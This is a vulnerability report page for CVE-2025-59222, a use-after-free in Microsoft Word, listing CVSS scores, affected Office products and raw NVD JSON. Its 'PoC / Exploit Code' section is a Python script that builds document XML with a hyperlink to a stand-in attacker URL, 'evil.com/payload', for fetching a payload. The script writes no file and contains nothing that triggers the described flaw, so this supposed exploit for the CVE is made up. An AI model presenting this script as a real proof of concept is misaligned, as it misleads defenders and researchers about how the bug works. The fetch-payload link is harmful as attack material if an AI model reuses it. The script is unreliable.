Security Vulnerability Report
中文
CVE-2025-59222 CVSS 7.8 HIGH

CVE-2025-59222

Published: 2025-10-14 17:16:03
Last Modified: 2025-10-16 20:51:42

Description

Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Word 2016
Microsoft Office Word 2019
Microsoft Office Word 2021
Microsoft Office LTSC Standard 2021
Microsoft 365 Apps for Enterprise
Microsoft Office LTSC for Mac 2021
Microsoft 365 Apps for Mac

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59222 PoC - Use After Free in Microsoft Office Word # This is a conceptual PoC demonstrating the exploitation approach # Actual exploitation requires a specially crafted Word document import struct import os def create_malicious_doc(output_path): """ Create a malicious Word document that triggers UAF vulnerability in Microsoft Office Word (CVE-2025-59222). The exploit works by crafting a document with specific object references that cause Word to access freed memory regions. """ # DOCX file is essentially a ZIP archive # We need to craft specific XML content that triggers the UAF document_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:rPr> <w:u w:val="single"/> </w:rPr> <w:t>Click here to view content</w:t> </w:r> <w:hyperlink r:id="rId1" w:history="1"> <w:r> <w:rPr> <w:rStyle w:val="Hyperlink"/> </w:rPr> <w:t>Malicious Link</w:t> </w:r> </w:hyperlink> </w:p> <!-- Crafted content to trigger UAF --> <w:p> <w:r> <w:fldChar w:fldCharType="begin"/> </w:r> <w:r> <w:instrText xml:space="preserve">HYPERLINK "http://evil.com/payload"</w:instrText> </w:r> <w:r> <w:fldChar w:fldCharType="separate"/> </w:r> <w:r> <w:t>Click me</w:t> </w:r> <w:r> <w:fldChar w:fldCharType="end"/> </w:r> </w:p> </w:body> </w:document>''' # Note: A real exploit would require precise memory layout manipulation # and shellcode injection through heap spraying techniques print(f"Malicious document would be saved to: {output_path}") print("WARNING: This is a conceptual PoC for educational purposes only.") if __name__ == "__main__": create_malicious_doc("exploit.docx")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59222", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:02.517", "lastModified": "2025-10-16T20:51:42.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "E1FE9E95-4874-46EF-AC93-9E485F7A2AC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "38479B5D-66F9-4260-A18A-F6E3D9B6991E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59222", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}